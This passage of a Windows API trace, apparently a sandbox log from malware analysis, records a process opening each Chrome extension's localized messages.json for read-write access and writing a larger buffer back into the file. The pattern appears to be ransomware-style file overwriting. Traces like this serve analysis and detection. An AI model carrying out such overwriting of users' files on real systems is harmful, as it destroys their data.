CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e630cc, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0057.581] ReadFile (in: hFile=0x12c, lpBuffer=0x25c5178, nNumberOfBytesToRead=0xdd, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c5178*, lpNumberOfBytesRead=0x32cf2bc*=0xdd, lpOverlapped=0x0) returned 1 [0057.582] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0057.582] WriteFile (in: hFile=0x12c, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x665, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x32cf2d0*=0x665, lpOverlapped=0x0) returned 1 [0057.582] CloseHandle (hObject=0x12c) returned 1 [0057.582] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0057.583] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.583] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0xec [0057.583] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.583] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.583] ReleaseMutex (hMutex=0x128) returned 1 [0057.583] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0057.583] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6316c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0057.583] ReadFile (in: hFile=0x12c, lpBuffer=0x2737c58, nNumberOfBytesToRead=0xec, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x2737c58*, lpNumberOfBytesRead=0x32cf2bc*=0xec, lpOverlapped=0x0) returned 1 [0057.584] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0057.584] WriteFile (in: hFile=0x12c, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x674, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x32cf2d0*=0x674, lpOverlapped=0x0) returned 1 [0057.584] CloseHandle (hObject=0x12c) returned 1 [0057.584] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0057.585] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.585] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0xde [0057.585] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.585] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.585] ReleaseMutex (hMutex=0x128) returned 1 [0057.585] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0057.585] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e630cc, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0057.585] ReadFile (in: hFile=0x12c, lpBuffer=0x25c5178, nNumberOfBytesToRead=0xde, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c5178*, lpNumberOfBytesRead=0x32cf2bc*=0xde, lpOverlapped=0x0) returned 1 [0057.586] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0057.586] WriteFile (in: hFile=0x12c, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x666, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x32cf2d0*=0x666, lpOverlapped=0x0) returned 1 [0057.586] CloseHandle (hObject=0x12c) returned 1 [0057.586] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_cn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0057.587] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.587] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0xd7 [0057.587] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.587] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.587] ReleaseMutex (hMutex=0x128) returned 1 [0057.587] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0057.587] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6316c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0057.587] ReadFile (in: hFile=0x12c, lpBuffer=0x25c5178, nNumberOfBytesToRead=0xd7, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c5178*, lpNumberOfBytesRead=0x32cf2bc*=0xd7, lpOverlapped=0x0) returned 1 [0057.588] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0057.588] WriteFile (in: hFile=0x12c, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x65f, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x32cf2d0*=0x65f, lpOverlapped=0x0) returned 1 [0057.588] CloseHandle (hObject=0x12c) returned 1 [0057.588] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0057.589] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.589] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x108 [0057.589] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.589] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.589] ReleaseMutex (hMutex=0x128) returned 1 [0057.589] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0057.589] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e630cc, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0057.589] ReadFile (in: hFile=0x12c, lpBuffer=0x25fa608, nNumberOfBytesToRead=0x108, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x25fa608*, lpNumberOfBytesRead=0x32cf2bc*=0x108, lpOverlapped=0x0) returned 1 [0057.590] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0057.590] WriteFile (in: hFile=0x12c, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x32cf2d0*=0x690, lpOverlapped=0x0) returned 1 [0057.590] CloseHandle (hObject=0x12c) returned 1 [0057.591] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0057.591] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.591] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0xd8 [0057.591] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.591] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.591] ReleaseMutex (hMutex=0x128) returned 1 [0057.591] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0057.591] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6316c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0057.591] ReadFile (in: hFile=0x12c, lpBuffer=0x25c5178, nNumberOfBytesToRead=0xd8, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c5178*, lpNumberOfBytesRead=0x32cf2bc*=0xd8, lpOverlapped=0x0) returned 1 [0057.592] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0057.592] WriteFile (in: hFile=0x12c, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x660, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x32cf2d0*=0x660, lpOverlapped=0x0) returned 1 [0057.592] CloseHandle (hObject=0x12c) returned 1 [0057.593] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0057.593] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.593] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0xda [0057.593] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.593] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.593] ReleaseMutex (hMutex=0x128) returned 1 [0057.593] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0057.593] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e630cc, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0057.593] ReadFile (in: hFile=0x12c, lpBuffer=0x25c5178, nNumberOfBytesToRead=0xda, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c5178*, lpNumberOfBytesRead=0x32cf2bc*=0xda, lpOverlapped=0x0) returned 1 [0057.594] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0057.594] WriteFile (in: hFile=0x12c, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x662, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x32cf2d0*=0x662, lpOverlapped=0x0) returned 1 [0057.595] CloseHandle (hObject=0x12c) returned 1 [0057.595] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0057.595] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.595] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x10a [0057.596] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.596] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.596] ReleaseMutex (hMutex=0x128) returned 1 [0057.596] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0057.596] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6316c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0057.596] ReadFile (in: hFile=0x12c, lpBuffer=0x25fa608, nNumberOfBytesToRead=0x10a, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x25fa608*, lpNumberOfBytesRead=0x32cf2bc*=0x10a, lpOverlapped=0x0) returned 1 [0057.597] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0057.597] WriteFile (in: hFile=0x12c, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x692, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x32cf2d0*=0x692, lpOverlapped=0x0) returned 1 [0057.597] CloseHandle (hObject=0x12c) returned 1 [0057.597] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_tw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0057.598] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.598] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0xce [0057.598] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.598] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.598] ReleaseMutex (hMutex=0x128) returned 1 [0057.598] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0057.598] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e630cc, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0057.598] ReadFile (in: hFile=0x12c, lpBuffer=0x1dae968, nNumberOfBytesToRead=0xce, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dae968*, lpNumberOfBytesRead=0x32cf2bc*=0xce, lpOverlapped=0x0) returned 1 [0057.599] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0057.599] WriteFile (in: hFile=0x12c, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x656, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x32cf2d0*=0x656, lpOverlapped=0x0) returned 1 [0057.599] CloseHandle (hObject=0x12c) returned 1 [0057.599] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0057.600] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.600] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x100 [0057.600] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.600] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.600] ReleaseMutex (hMutex=0x128) returned 1 [0057.600] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0057.600] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6316c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0057.600] ReadFile (in: hFile=0x12c, lpBuffer=0x1ddb648, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1ddb648*, lpNumberOfBytesRead=0x32cf2bc*=0x100, lpOverlapped=0x0) returned 1 [0057.601] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0057.601] WriteFile (in: hFile=0x12c, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x688, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x32cf2d0*=0x688, lpOverlapped=0x0) returned 1 [0057.601] CloseHandle (hObject=0x12c) returned 1 [0057.601] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0057.602] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.602] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0xfc [0057.603] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.603] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.603] ReleaseMutex (hMutex=0x128) returned 1 [0057.603] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0057.603] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e630cc, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0057.603] ReadFile (in: 